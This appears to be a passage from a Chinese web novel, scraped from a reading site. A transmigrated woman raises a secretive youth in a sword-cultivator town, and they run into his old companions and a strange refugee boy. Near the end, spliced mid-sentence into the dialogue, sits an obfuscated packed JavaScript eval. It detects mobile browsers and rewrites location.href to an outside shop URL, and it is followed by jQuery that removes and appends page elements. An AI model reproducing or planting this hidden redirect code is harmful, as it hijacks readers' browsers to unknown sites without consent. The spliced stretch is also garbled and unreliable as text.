月底,薛越把沈昭野叫到跟前,当着堂里众人拍了拍他的肩膀:“阿楚年纪最小,做事最稳当,上回城东那桩纠纷,几个老剑修都调解不下来,他去了,一盏茶的功夫,两边都服气了。” 沈昭野微微低头,不过是两伙地痞流氓占地起了争执,过去打一顿就都服了。 自此沈昭野在司剑堂渐渐出了名,整个青阳镇也都知道有位背着木剑的预备剑修,只要有事求他,他都会帮忙,关键小伙子人还生得俊俏。 宋藏星上街买菜时每每听到都会微笑点头,是的是的,就是她家好周楚。 晚上回家,沈昭野把工钱袋搁在桌上,往宋藏星那边推了推。 宋藏星正掰着手指算这个月的开销,抬头看他:“都给我?不心疼啊。” 沈昭野摇头:“需要银子我会同姑姑要的。” 他说得一脸真诚,袖子里却还藏着薛堂主和街坊邻居偶尔给的赏钱,总得留点给自己。 宋藏星支着下巴看着他,回去之后她写一本育儿心经应该会大卖吧,忽又皱眉,眼下周楚都快成青阳镇道德楷模了,这任务怎么还没结束。 偏偏系统跟死了一样,自第一天宣布任务后便再也没出现。 恍然间,柿子树的枯枝上落了雪,薄薄一层覆在枝丫上,像背着一座绵延不绝的山峰。 宋藏星推开门,见沈昭野正往树枝上挂着红纸剪的小灯笼。 “哪来的?” “街上张婆婆给的,”他挂好回头看她,“她说快过年了,院里挂个红的吉利。” 宋藏星靠在门框上看他,忽然觉得他比刚搬进来时又高了些,肩膀也比之前宽了,难怪吃得越来越多。 这几个月,沈昭野越发懂事,每日除了在司剑堂当差,哪里也不去。 什么喝酒玩牌通通不感兴趣,不是坐在院子里练剑,便是窝在躺椅里看观南留下的佛经,说话做事也变得沉稳,宋藏星甚是满意。 “待会儿跟我去街上买些点心,给薛堂主一份,给王师傅也捎一份。” 她走过去,拍了拍他肩上的落雪,“快过年了,也给你换身新衣裳。” 罡风一听点心,连忙凑了上来,宋藏星一个眼神,灰狼又乖乖趴回地上。 沈昭野欲言又止。 “怎么了?” 沈昭野低头从怀里摸出那枚白玉镯。 “上次给你,你没要,快过年了,我想着送姑姑份礼,可银子都是你在管,我也没什么钱,就想起了它。” 宋藏星歪着头打量着他:“我怎么听着你,这话里还有些委屈呢。” 沈昭野忙摇头:“没有!钱交给姑姑管,我放心得很,绝无怨言。” 宋藏星盯着他手里的白玉镯,想 起几个月前还扇过他一巴掌,顿时心生怜惜,自己当时怎么下得去手。 她把手往前一伸,露出半截手腕:“给我戴上吧。” 沈昭野愣了一下,随即低下头,托住她的手腕,轻轻拉住她的手将玉镯往里推,稍微有些卡紧,他忍不住皱眉嘀咕道:“怎么吃胖这么多......” 宋藏星眯起眼,索性收回手自己戴了进去。 ...... 刚下过雪的街上,小孩们都在追逐打闹,宋藏星忽然想到:“过完年,马上该剑修甄试了,到时候要不要去看看?” 沈昭野眼睛一亮:“可以去吗?” 宋藏星点头:“当然,我还没见过呢,正好你也学学经验。” 沈昭野垂眸:“没什么好学的,很少有我这个年纪才去的。” 宋藏星挑眉:“那你岂不是占了大便宜。” 沈昭野笑而不语。 两人并排走在街上,年关将至,街上稀罕的玩意儿也多了起来,宋藏星不由得看花了眼,在一个摊子前驻足。 身后忽然传来一个清脆的声音:“能不能别跟着我了!” 沈昭野僵在原地。 宋藏星拿起一盏兔子灯,扭头看他:“这个挂在屋檐底下,”话说到一半,见他脸色不对,她放下灯,“怎么了?” 那声音又近了:“我来找三哥,你们跟着我做什么!” 宋藏星听这声音洪亮,循声看去,说话的少女扎着两根马尾辫,看起来和周楚差不多的年纪,衣服破破烂烂,一双桃花眼却显得格外动人。 她身后跟着两个少年,一胖一黑,三人都是灰头土脸,像赶了很远的路。 胖少年先开口:“宝珠,你还没死心?他可没把咱们当朋友。” 黑少年轻哼一声:“说不定人家傍上了大门派,早就和我们不是一路人了。” 宝珠转过身,叉腰骂回去:“不准你们这么说三哥!当初要不是他,咱们能从那地方逃出来?” 她说完又四下看了看,见没人在意,抿紧嘴,眼底满是委屈。 宋藏星看了一阵没看出名堂,收回目光,落到沈昭野脸上。 “怎么脸色这么差?” 沈昭野抬眼看她,却不敢说话,他只要稍稍侧头,就能和那三人打个照面。 宋藏星走近些,才看见他额头上的汗,低声问:“怎么了这是?” 沈昭野忽然伸手将她揽进怀里,脸埋在她颈间,抱得很紧。 只听身后黑少年叹气道:“你醒醒吧,他若真念着你的情分,走的时候怎么连声招呼都不打?还三哥三哥的叫,当初他分了钱,可是立马找算命先生起了新名字。” 胖少年嗤了一声,语气带着嘲讽:“可不是嘛,他如今可不叫沈三了,叫沈~昭~野,哈哈哈笑死个人,真以为改个名字就能——” “你们再说!”宝珠一喝,两人立刻收声。 宋藏星不知道周楚发生了什么,只感到揽在自己腰间的手箍得更紧,好似在不安又像是在隐忍。 “这么大了还撒娇呢。” 她拍了拍他的背,一抬眼,恰好对上宝珠的目光。 那姑娘当即瞪了过来:“看什么看!大街上搂搂抱抱,也不害臊!” 宋藏星脾气一下子上来,刚想挣开,沈昭野收紧手臂,不让她动弹。 “别动。”声音贴在她耳边,微微发颤。 宋藏星只得咬牙忍了。 宝珠目光落到那个背影,不由得上前几步,带着疑惑:“你转过身,让我看看。” 沈昭野眼神一暗,右手探入袖中,摸到那枚短箭。 “你谁啊,”宋藏星伸手按在他颈后,“有没有眼色!” 黑衣少年连忙伸手拉住她,“宝珠,这儿可是云中门,没人罩着咱们!” 宝珠挣开他的手,仍盯着那个背影,声音带着哽咽:“你为什么不敢转过来?” 她咬紧下嘴唇,扬声道,“你分明就是——” 沈昭野忽然松开了宋藏星。 他转过身,脸上已换了副神情,方才的慌乱尽数散去,一双眼只剩陌生与疏离。 “姑娘认识我?” 14.一剑斩断回头路 “阿楚,待会儿去喝酒不?” 司剑堂的魏柏很是看好这个新来的少年,话不多,干活也利索,从不偷懒。 青阳镇这地方,恰好处在云中门和瑶光门边界,门派剑修没几个,平日里风平浪静,别说魔教,就是土匪都不常见。 堂里每日的差事,不是帮东家寻猫,就是替西家撵狗,再不然就是处理邻里间鸡毛蒜皮的纠纷,待久了,大家都当是混口饭吃,时辰还没到,就各自回去了。 整个司剑堂,只有这个新来的阿楚,每天当值到最晚,却也不肯多待,时辰一到,立马回家。 沈昭野将堂里的木剑从背上取下,挂回墙上,笑道:“不了,魏大哥,姑姑还在家等我。” 魏柏啧了一声:“你姑姑管得可真严,年轻人嘛,喝个酒算什么。” 沈昭野唇角微抿:“跟她没关系,是我不爱凑热闹。” 魏柏拍拍他的肩膀,话赶话道:“这么护着你姑姑?真是好孩子,不过她一个人确实辛苦,要是家里多个人帮衬,也能轻松些。” 沈昭野抬眼看他。 魏柏被他看得不太自在,摸了摸眉骨:“我就随口一说。” 沈昭野闻言一笑,温和道:“往日魏大哥可不会说这种话,有什么话直说就好,跟我不用拐弯抹角。” 这会儿倒是不急着回家了,魏柏也摸不准他的脾气,干笑两声:“真没有,就是觉得你姑姑一人带着你,不容易。” 沈昭野顺着他的话,叹了口气:“是挺辛苦的,我也不想她那么累。” 魏柏见他没反驳,觉得有戏,这才往前探了一步:“可不是嘛,要是家里多个人帮衬,你也松快些不是?” 沈昭野笑着点头:“只是不太好找。” 魏柏话匣子瞬间打开:“这事当然不能马虎,堂里的陆丰你认得吧?上次跟你一起抓采花贼那个,人老实,稳重,上回你姑姑来堂里找你,就是他给领进来的。” 沈昭野听着,嘴角微勾。 他看着魏柏:“原来是陆大哥托你说的呀。” 魏柏还没反应过来,沈昭野已经起身往外走了。 沈昭野走在街上,沿途有人同他打招呼,他都一一笑着回应。 心里却想着魏柏的话,不过就是来堂里送了回点心,便被人惦记上了。 他并非不想让她成亲,若是有个很好的人,他垂眼,脚步一停,可这司剑堂里,没一个好人。 几个男人不是约着去喝花酒,便是凑在一处议论哪个巷子的姑娘好看。 她看着心眼多都在外面摆着,万一被人骗了怎么办。 一抬头,福祥斋的招牌已在眼前,他摸到怀里的白玉镯。 当时他也不懂,后来才晓得,在云中门,玉镯定情,发簪订婚,那伙计没同他说清楚,知道之后,他便再也没敢拿出来过。 可若能挡一挡那些烂桃花...... “上次给你,你没要,快过年了,我想着送姑姑份礼,可银子都是你在管,我也没什么钱,就想起了它。” 她歪头打量他,说听着这话里有委屈。 他连忙摇头否认,心里却忍不住雀跃,她总是能听出来。 她把手往前一伸,露出半截手腕。 “给我戴上吧。” 只要他稍稍软一点,乖一点,她就会特别开心。 白溪村那次他就懂了,硬着来只会被推开,软下来反而会被心疼。 周楚,阿楚,沈昭野,什么名字都无所谓,重要的是,留在她身边的是他这个人。 可他没想到,有人会喊出沈三那个名字。 “你为什么不敢转过来?”宝珠的声音带着哭腔。 他闭上眼,手指已摸到袖中短箭,可当着这么多人如何能够动手? 宋藏星的手按在他颈后,替他骂了回去,把他所有压着的念头都按住了。 他松开宋藏星,转身看着面前这个一路追过来的少女。 “姑娘认识我?” 面前三人皆愕然原地。 宝珠张嘴刚要说些什么,却见沈昭野慢悠悠抬眼扫过眼前三人,面上带笑,眼底却没有半分温情。 宋藏星问道:“阿楚,这是你朋友?” 相处这么久,从没听他提过别人,她还以为他这性子没几个人受得了。 宝珠一双眼直直盯着沈昭野,想看他会如何回话,胖少年看看身旁两人,不敢多说一句。 黑皮少年下巴微抬,斜睨着沈昭野。 沈昭野转过身去,背对三人。 “不认识。”他握住宋藏星的手,“司剑堂人手不够,一到年底就忙得很,方才有些头晕。” 掌心传来一阵凉意,宋藏星伸手探他额头,嗔怪道:“早说让你在家陪罡风好了,净逞强!” “不是还要买点心?”他笑眯眯地推着她往前走,“我怕你拿不动。” “拐着弯骂我呢?方才说我胖我还没跟你算账。” “哪有,是我买小了。” 宝珠站在原地,看着那个背影越走越远。 那人分明就是三哥,为什么不认她?为什么连花钱求来的名字也不要了? 直到两人转过街角,胖少年才松了口气:“吓死老子了!那是沈三吧?我方才笑他的那些话,他岂不是全听见了!” 他的声音越发激动,脸上带着惊恐。 “别说了,胖头鱼!”黑皮少年盯着宝珠眼中的泪,忿忿不平道:“如今你也看见了,人家认都不认你,衣裳都换了好料子,怕是早就攀上了那个女人,”他抬眼看向街角,“剑修都不是,居然还能进司剑堂。” 宝珠摇头:“三哥定是遇到了什么麻烦,说不定,说不定是那个女人……刚刚你们还那么说他,他肯定难过死了,黑栾,我们去找他吧。” “宝珠!你别再骗自己了!你以为他当初是为了你才出手吗?”黑皮少年忍不住吼了出来。 胖头鱼赶紧插到两人中间,一手推一个:“消消气,消消气,”他转身看向黑栾,“沈三不喜欢她,她也不喜欢你,你俩半斤八两,谁也别说谁。” 宝珠和黑栾同时瞪过去。 胖头鱼把手缩回来,讪讪闭了嘴。 …… 回到家,沈昭野转身便将门落了锁,深吸一口气。 背后的宋藏星忽然开口:“你认识沈昭野吗?” 沈昭野一僵,转过身,摇头。 直觉告诉宋藏星,这其中一定有猫腻。 她眯起眼:“该不会你杀了那姑娘的心上人,人家找上门来了?” 沈昭野无奈道:“我去哪儿杀那么多人?” 宋藏星掰着手指:“杨老头算一个,我嘛,算半个。” “姑姑!”沈昭野脸上露出愠怒。 宋藏星忙举手投降,之前也没这么敏感,近来每次拿这事调侃 ,他都会生气。 本想着时不时用愧疚压一压他,如今看来不好使了。 沈昭野也不说话,就那么绷着脸。 宋藏星上前哄道:“我的错,我的错,我再也不提了,那几个人叽叽喳喳,还笑话自己朋友,一看就不是什么好人,你怎么会认识他们呢。” 听那些人说话的语气就是典型恶人npc,倒是那个姑娘,瞧着娇蛮可爱。 沈昭野见她不再追问,岔开话题:“晚上想喝鸽子汤。” 这一听就是消气了,宋藏星眉眼弯弯:“好说,好说。” …… 傍晚,阡风巷。 三人窝在墙角。 胖头鱼抱着膝盖,瞅了黑栾一眼:“人也找到了,银子也快花光了,咱去哪儿?” 黑栾没吭声,瞪了回去。 “你瞪我也没用。”胖头鱼嘟囔,“眼下这情形,咱们在这儿干耗着,连碗面都快吃不起了。” 黑栾看向缩成一团的宝珠,烦躁道:“你再怎么难过也没用,要真想问个清楚,咱明日就去司剑堂,找他当面对峙。” “想死吗?” 一个声音自头顶落下。 三人猛然抬头,沈昭野正蹲在墙头看着他们。 宝珠第一个起身,惊喜道:“三哥!” 一袋铜板扔下来,落在宝珠脚边。 “就这些,拿了走人,别再来找我。” 宝珠看都没看,只仰头望着屋檐上的少年。 黑栾气得将钱袋一脚踢开,铜板哗啦撒了出来,“打发叫花子呢!沈三,你如今攀上高枝便不再认我们这些朋友了,是吗?” “朋友?”沈昭野纵身从墙头跃下,往前走了几步,“你和胖头鱼今日在街上说的话,见到我就全忘了?” 他侧头,看向还蹲在墙角的胖头鱼。 胖头鱼吓得一缩,后脑勺磕在墙上,疼得龇牙。 “要不是看在宝珠面上,我不会心软。” 沈昭野收回目光。 宝珠闻言心头一喜:“三哥,我就知道你不会不管我们,他们也没别的意思,你不辞而别,我们都很担心。” 胖头鱼旋即附和,点头如捣蒜道:“是啊,瑶光门那块地界现在归听剑阁管了,那些剑修鼻孔朝天,根本不把我们当人看,宝珠也是担心你,才说来找你。” “同我说这些做什么?”沈昭野不耐烦地打断他。 “我来就是告诉你们,我现在叫阿楚,不管是沈三还是沈昭野,只要这镇上有一个人知道了我原来的名字,我就会算到你们头上。” 沈昭野扫过眼前神情各异的三人:“好自为之。” 黑栾攥拳便要冲过去,被宝珠一把拉住,故作欢笑道,“知道了,三,阿楚,你放心,我们不会给你添麻烦的。” 沈昭野看了她一眼,叹了口气。 他弯腰,把散落的铜板捡回袋子里,拉过宝珠的手,拍在她掌心,“你一个姑娘家跟着两个大男人天天跑算怎么回事,拿着钱回巷子吧,别再来找我。” 宝珠舔了舔干涸的嘴唇,眼带泪光:“她对你很好吗?” 沈昭野目光变得柔和,点点头。 宝珠还想说什么,一旁的黑栾讥讽道:“她也见过你杀人的样子吗?” 沈昭野抬眼看向黑栾,方才对宝珠说话时眼中残存的暖意,此刻已散得干干净净。 “见过啊。” 15.命中注定的相逢 这是周楚头一次天黑了还没回家。 宋藏星搬了个小板凳坐在门口,一手摸着罡风的头,一手托腮,这户别院在巷子深处,平时也没人经过,这会儿天色沉沉,便显得更加冷清。 “你说他是不是去见白天那姑娘了?”她低头问罡风。 罡风耳朵动了动,没理她。 总不能真是他老相好吧,这没有原著参考,她也不敢妄下结论。 更何况引入正道到底怎么算成功也没个标准,眼下周楚都快成感动青阳镇十大人物了,系统还是跟死了一样,半点动静没有。 她蓦然抬头,一张脸忽然凑到她面前:“姑姑在想什么?” 宋藏星被乍然贴近的距离吓得霍然起身,沈昭野自觉站直往后退了半步。 “去哪儿了?”宋藏星语气有些冷。 “街上。”沈昭野展颜道,“年关近了,薛堂主让我们一人盯一条巷子,我今天不当差,想着闲着也是闲着,就过去看了一眼。” 宋藏星眯起眼,狐疑地盯着他。 他嘴角往下一耷拉:“怎么,不信我啊?以为我又出去惹是生非了?” 她还没接话,他便蹲下身,手指挠着罡风的下巴:“想来在姑姑心里,我还不如罡风听话。” 宋藏星无语凝噎,她就问了一句,他叨叨叨念了一堆,旋即正色道,“我是关心你,我以为你——” “以为我去找了白日那几个人?”沈昭野抬眼看她,“我真不认识他们,也没有与谁结仇。” 宋藏星忽然蹲下身凑近道:“那你可有心上人?” 沈昭野的手停在罡风头顶,她离得有些太近,对视一瞬,他垂下头:“我没那么多心思想其他事。” 宋藏星满意地点点头,没心思好,没心思就不会惹事,“剑修可不是那么好当的,眼下你就专心当差练剑就好。”她起身看了眼门口的小板凳,沈昭野顺手拎起,跟着她往院里走。 “不过日后你要是碰到了喜欢的姑娘,一定要同我讲,模样性子只要你喜欢都可以,只有一点!” 她转过身挡在他面前,竖起一根手指,肃然道,“绝对不能喜欢别人媳妇!” 沈昭野没理会她这条莫名其妙的忠告,语气中不自觉带了些置气:“那姑姑呢,姑姑也会有喜欢的人吗?” 宋藏星想了想:“倒是有几个。” “几个?”沈昭野愕然失色。 宋藏星脑中过了一遍自己爱过的纸片人:“最爱的还是神雕大侠。” “北俱芦洲的?”沈昭野没听过这号人物,却又隐约记得她之前提过。 “嗯,在终南山。”宋藏星推门进屋,说得煞有介事,“你呢,就好好练剑,要是有一日能跻身武林前十,说不定就能见到他,当然,要多做善事,不能做坏事。” 又来了,每次都是这样,时不时讲一些编造的故事混杂着大道理,自己又不是三岁孩童,沈昭野有些无奈又忍不住在意:“那,你喜欢他什么?” “好看啊!”宋藏星落座,随手点上油灯,“而且专一,从一而终,等了小龙女整整,” 她嘴巴一抿,话音戛然而止。 这杨过叫小龙女姑姑,周楚也唤她一声姑姑,她怎么偏偏举了这么个例子,见沈昭野蹙眉听得认真,她只得岔开话:“反正是位光明磊落的大侠!” 烛火映照下,墙壁上投射出两个人的影子,一个坐得笔直,一个不自在地动了动身子。 宋藏星打量着他,这榜样教育也不知道灌进他心里没,她向前倾身,温和道:“不过你也不用气馁,虽然你同他有些差距,可是你年轻啊,喜欢你的姑娘肯定多得是,到时候你有喜欢的同我讲,我去给你说媒,肯定不给你丢面儿。” 她这话自认说得诚恳又贴心,沈昭野却丝毫不领情,转头道:“什么时候做饭,我饿了。” 吃吃吃,就知道吃,宋藏星恨铁不成钢地起身,“我这就去给你做!” 她径直往灶房走去,沈昭野盯着她的背影,不知在想什么。 也不知哪根筋搭错了,吃完饭到念经,沈昭野都一副心不在焉的模样。 宋藏星索性放下经书:“你如今心法迟迟突破不了四层,是不是这佛经对你没什么用了?要不然不念了。” 她将书一合,自己也念烦了。 沈昭野单手撑着下巴,目光落在别处。 宋藏星伸出手指点在他眉心:“有事说事,别学上次一声不吭就去打人。” 他还是低眉垂眼。 宋藏星忽然想起白日街上那个扎马尾辫的少女,那一双我见犹怜的眼,怎么看都不像是认错了人,指不定是什么青梅竹马,两小无猜,如今不敢相认,是怕自己这个当姑姑的从中作梗?怎么突然有种恶婆婆竟是我自己的荒谬感。 “其实那姑娘挺好的。” “姑姑会成亲吗?” 两人同时说完又同时蹙眉。 沈昭野没好气道:“我不认识她,更不喜欢她,姑姑就别乱猜了,不然我现在去把他们找来,你当面问个清楚。” 这不没事找事吗,宋藏星忙安抚他:“不认识就不认识,我这不是怕你憋在心里难受吗。” 吃饭时一句话不说,烤了半只山鸡也没怎么动筷子,洗碗还打碎一个盘子,怎么看怎么可疑。 沈昭野垂下头:“是挺难受的。” 宋藏星将床上的小桌子抬走,往前挪了挪,离他更近些:“展开讲讲。” 得亏她发现了问题,要不然这一不留神,她这几个月姑姑的身份,保姆的命算是白过了。 两人之间没了小桌板的遮挡,她又倾身凑过来,沈昭野甚至能闻到她身上淡淡的......烧鸡味。 他抬眼看她,“我怕姑姑成亲之后,我就没地方能去了。” 宋藏星眨眨眼,“就这?” “所以一想就会很难受,我也知道你迟早是要嫁人的,我不能只为自己考虑。” 沈昭野正兀自说着,宋藏星忽然伸手将他揽进怀里。 “放心,我不会成亲,也不会丢下你不管。” 沈昭野剩下的话都卡在喉咙里,那股混杂着柴火的烧鸡味瞬间包裹住了他,说不上多好闻,他下意识蹙眉,却又不愿挣开,回过神时,手已经抬到了半空,他想回抱住她。 宋藏星却在此时松开,双手按在他肩膀上,目光郑重。 “我懂了,你这叫分离焦虑,很正常,你平时除了当差,就是跟我待在一起,是挺没意思的,如今你性子稳重多了,不用没事就在家守着,跟堂里的前辈出去玩也可以啊。” 她家狗也经常这样,只要她一出门就开始乱叫,再养一只就好了。 沈昭野神情复杂:“我不是这个意思......” “你放心。”宋藏星拍拍他的肩,“姑姑不是那种不讲理的人,只要你不惹事,交朋友什么的,我都支持。” 沈昭野看着她,显然她又开始觉得自己这番话既体贴又大度,他起身抱起桌上的经书:“我回去睡了。” 他走到门口,侧头见她并未挽留,拉开门,头也不回地出去了。 宋藏星扶额,难不成叛逆期到了? 过了几日,宋藏星突然提起晌午要去给沈昭野送饭。 往常她若是这么说,沈昭野定是开心极了,这次却有些不情愿。 “我在堂里吃就好了,不用那么麻烦。” 宋藏星越发觉得古怪,执意要去,她本就想打听打听周楚近来有没有不同寻常的地方。 沈昭野无奈,只得点 头,出门巡街去了。 此次同他一道的还是魏柏,自上次那件事之后,魏柏见到沈昭野总有些心虚,走了一路都不太自在,见沈昭野如平常一样,该搭话搭话,该查巷子查巷子,他才松了口气。 “陆大哥今日在堂里当差吗?”沈昭野与他并排走着,忽然开口。 魏柏心里咯噔一下,忙道:“没有,他跟于朗去郊外了。” 沈昭野点点头,没再说什么。 前面忽然传来一阵嘈杂,沈昭野抬手握住身后剑柄。 魏柏踮脚望了一眼,街角施粥的棚子前,黑压压挤满了人,争着往前够,几个司剑堂的人扯着嗓子喊,也无济于事。 他拍拍沈昭野肩膀:“没事,是堂里在施粥,有堂里的兄弟看着,出不了什么乱子。” 沈昭野望着前方哄抢的人群:“近来流民好像多了些。” “可不是嘛,”魏柏叹了口气,“瑶光门一倒,听剑阁直接接管了那一片,底下那些人的日子比从前更不好过,也是咱们门主人好心软,肯收留这些逃过来的人,别的门派早就沿途设了卡。” 沈昭野收回目光,抬脚往司剑堂走。 过了晌午,有人过来叫他:“阿楚,门外有人找。” 沈昭野当即放下手里的卷宗,应声往外走,拐到大门,却看见宝珠三人正站在门外。 “阿楚!”宝珠远远朝他挥手。 沈昭野快步过去:“谁让你们过来的?” 他飞快扫了眼巷口,见没有人经过,催促道,“回去。” “我早说了,你来了也是挨骂。”黑栾抱着胳膊靠在门框,一脸不耐烦。 见宝珠欲言又止,胖头鱼索性走到前面:“你给我们的钱袋被人抢了。” “抢了?”沈昭野蹙眉,“你们三个人护不住一个钱袋?” 他目光又往巷口扫了一眼,不由得烦躁。 宝珠满脸愧疚:“都怪我,我本来想走之前给你买点东西,谁知道碰上那群流民……” “你拿我的钱,给我买东西?”沈昭野揉了揉眉心,“你做事能不能用点脑子,我什么都不缺。” “她好心想送你个剑穗!”黑栾忍不住顶了一句,“你能不能别这么无情?” 宝珠瞪了黑栾一眼,又转向沈昭野:“我来不是为了跟你诉苦,就是想跟你说,那些新来的流民这几天到处乱窜,你们巡街当心些。” “知道了。”沈昭野应得漫不经心,忽又生出不好的预感,他抬头看了眼日头,午时都过了。 来不及多想,他当即撇下三人往家跑去。 他跑得很快,经过施粥棚里往人群中扫了一眼,那些流民如今越发不听管教,她一个人提着食盒,若是在路上被人围住,沈昭野按住心头的不安,不由得加快脚步。 刚拐过巷口,他猛然顿住。 路中间蹲着一个熟悉的身影,正是宋藏星。 悬着心悄悄落地,他刚要出声唤她,却瞥见她对面还蹲着一个人。 两人离得很近,膝盖几乎碰着膝盖,那人蓬头垢面,看打扮应当是个流民。 宋藏星正跟他说着什么,轻声细语的,旁边的食盒早已打开,里面的饭菜也动过一些。 沈昭野往前走了几步又停下,敛眉抿唇却不出声,他想看看,她到底什么时候才能注意到身后的自己。 那人忽然抬起头,目光直直与他对上,竟是一张与他年纪相仿的脸。 少年头发凌乱,满脸泥污,却有一双藏不住的俊俏眉眼,好似臭水沟间怦然盛开的一朵莲花,又像泥泞沼泽中冲刷出来的一颗宝玉。 那人忽地歪头一笑,带着少年的稚气,可一开口,便让沈昭野说不出的讨厌。 他说,“姑姑,是你认识的人吗?” 16.假作真时真亦假 宋藏星今日特意做了烧白菜和土豆腊肉,腊肉是前些日子王猎户给的,这儿也没有大棚,冬天只能吃些白菜土豆了。 她做了两人份,想着到司剑堂同周楚一起吃,也能旁敲侧击问问他最近有什么心事,思来想去她还是觉得那个叫宝珠的姑娘不对劲。 正走着,前方巷口拐出来四五个人,破旧的衣衫叠穿了好几层,袖子却短了半截,露出手臂上的冻疮。 宋藏星拎紧食盒,前日上街就听人说,近来从瑶光门涌进来许多流民,门主虽已下令让各地司剑堂施粥救济,可人多粥少,偶尔还是有饿急了的人拦路抢劫。 她低头看了眼自己手里刚做好的饭菜,这在他们眼里不妥妥一块行走的五花肉,她不敢抬头,悄悄贴着墙边,将食盒换了只手拎到内侧。 那群人从旁经过,并没有留意到宋藏星,她刚松了口气,身后不知谁喊了句:“什么东西这么香!” 狗鼻子吗?这么灵? 宋藏星想也没想,撒腿就跑,这一跑那几个流民立刻锁定目标,追了上来。 前几日的积雪刚化,正是寒气砭骨的时候,冷风迎面吹来,宛如刀片刮脸,宋藏星却只恨自己出门时裹得太厚,活像一只长了腿的铁球在巷子里狂奔。 眼见前方一个岔路口,她猛一刹步,拐进旁边小巷,巷口有间倒塌的民房,她连忙缩身躲到断壁后,背靠着墙,却又暗自纳闷,怎么如今跑起步来脸不红气不喘的,还没来得及多想,一阵纷杂的脚步声追了上来。 宋藏星连忙捂住口鼻,试图降低存在感,再次在心里感激这堪称保命神技的金手指。 “真是见了鬼了,人呢?怎么说不见就不见了?” 宋藏星屏住呼吸,她甚至能听到说话人的喘息声就在她耳畔。 “算了算了,这儿离司剑堂近,要是被那些人撞见又得挨板子。” “这云中门门主也真是的,让我们进来又不给吃饱饭,好名声全让他赚了,挨饿受冻的却是我们。” “就是!要不是他们咱们能沦落到这地步?剑修没一个好东西!” 等那群人骂骂咧咧走远,宋藏星才放下手,松了口气。 她目光随意一扫,才发现这断壁后竟还坐着一个人。 那人手里正捏着一根树枝,不知在这儿坐了多久,歪头盯着她。 “啊!”宋藏星往后一弹,扶住石壁,“你谁啊?什么时候来的?怎么一点声响都没有?” 少年抬眼直勾勾盯着她,笑道:“这话该我问你吧。” 他向后一靠懒懒道:“这是我家。” 哪来的疯子,宋藏星礼貌一笑:“打扰了。” 刚要抬步,一根树枝横在她脚边。 “你来别人家不带东西?” 宋藏星愕然:“没见过你这么讹人的。”她将食盒放到身后。 少年扫了眼露出的食盒一角,极为礼貌地问道:“能让我吃点吗,我好久没吃东西了。” 宋藏星一边摇头一边往缺口处挪:“不能,你吃了别人吃什么,我是给人送饭的。” 她眯眼上下打量他,也就看着邋遢些,可不像饿了好久的人。 “那不如杀了你好了,倒也省事。” 宋藏星目瞪口呆,这外面到底是个什么世道,她突然开始共情周楚了。 “就非得杀吗?你再问我一遍,说不定我就答应了呢。” 她嘴上说着,脚已经往后挪了半步,一只脚刚退出缺口,少年忽然发出一声低喝,宋藏星浑身一哆嗦,将食盒双手递出,紧闭双眼,“好汉饶命!我就是个送饭的!你要吃就吃,筷子在盒盖底下!别杀我!” 耳畔突然传来少年爽朗的笑声。 宋藏星睁开一只眼,才发现少年仍坐在原地,笑得前俯后仰。 宋藏星察觉到不对劲,走近些,小心翼翼问:“你的腿,不能动吗?” 少年笑意仍挂在脸上,将树枝随意一扔,“对啊,所以我说杀你也是在吓唬你,我什么都做不了。” 他眨眨眼:“你现在是要逃跑还是打我一顿?” 宋藏星闭上眼,别管别管这不是你能管的事,世上这么多人,你哪里救得过来,更别说他们都是些不重要的纸片人,死了就死了,跟你有什么关系。 “......” “吃吧,给我留点,我还要给别人。” 她蹲到地上打开食盒,却发现菜不知何时已经混到一起,白菜,土豆,腊肉,你中有我我中有你。 “都怪那些人,好端端的菜成一锅粥了!” 宋藏星嘴一撇,把食盒往前一推,嫌弃道:“都给你,反正那小子估计也不会吃了。” 对面没接,她抬头,发现少年正看着自己。 宋藏星微笑道:“是不是突然觉得我这个人又善良又特别,开始心生愧疚,对我刮目相看了?” 她暗自叹气,这小说里的路人甲也太好打发了,周楚要是也这么脸谱化就好了。 少年摇了摇头,眼睛一眯:“我只是在想,要不要把它扎进你喉咙。” 他举起手,两指间夹着一枚飞镖。 宋藏星一惊,后退几步:“你怎么也是个变态杀人狂啊!” 这南明离洲是不是要反思下自己的青少年教育问题。 少年不理会她,将飞镖收入袖中,伸手道:“扶我去外面,我要吃饭了。” 宋藏星想骂人又怕他发癫,皮笑肉不笑道,“在这儿不能吃吗?” 少年瞥了眼破屋深处:“你让我在尸体旁边吃?” 宋藏星脖子一僵,颤颤巍巍扭过头,这破屋里居然还躺着两个人,一动不动,看模样应当是刚死不久,当年唐僧误入小雷音寺也没她这么惊心动魄。 她就不该脑子抽风装潇洒说什么想看看这个世界,老老实实在白溪村待着,守着她的一房二狗多好,何苦当下遭这种罪! “扶我起来。” “好的。” 宋藏星连忙挪过去,蹲下身。 少年手臂搭上来,她搀着他起身往外挪,忍不住问:“你的腿是,骨折了?” “不是,方才盘腿太久,坐麻了。” “……” 宋藏星面无表情地盯着前方,直接把他往石壁上一撞,应当能算她个正当防卫。 当然她没这个胆子。 宋藏星扶着他靠在一旁的墙根,又折回去把食盒拎出来,往他面前一放:“麻烦您吃快点,再拖一会儿我就离死不远了。” 她实在不知道待会儿要怎么跟周楚解释,迟到大半个时辰不说,饭还没了。 少年也不含糊,拿起筷子开始狼吞虎咽。 宋藏星忍不住蹙眉:“慢点吃,一会儿胃痉挛了。” 他三下五除二吃了一半,擦了擦嘴,扔到一边:“你有孩子了?” 宋藏星摇头,也不想多解释。 “吃完了?我能走了吗?” 少年眨眨眼:“好久没人陪我说话了,你再待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576929|203737||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 会儿呗。” 这不是商量,是赤裸裸的威胁,宋藏星低头看着他手里把玩的飞镖。 她缓缓蹲下,细声细语道:“这位少侠,我知道你很强,但是我这会儿实在没空陪你,我要是再晚一会,可能今晚就得沦落街头了。” “为什么?” 这死小孩怎么这么烦,一对比,她家周楚简直是天使。 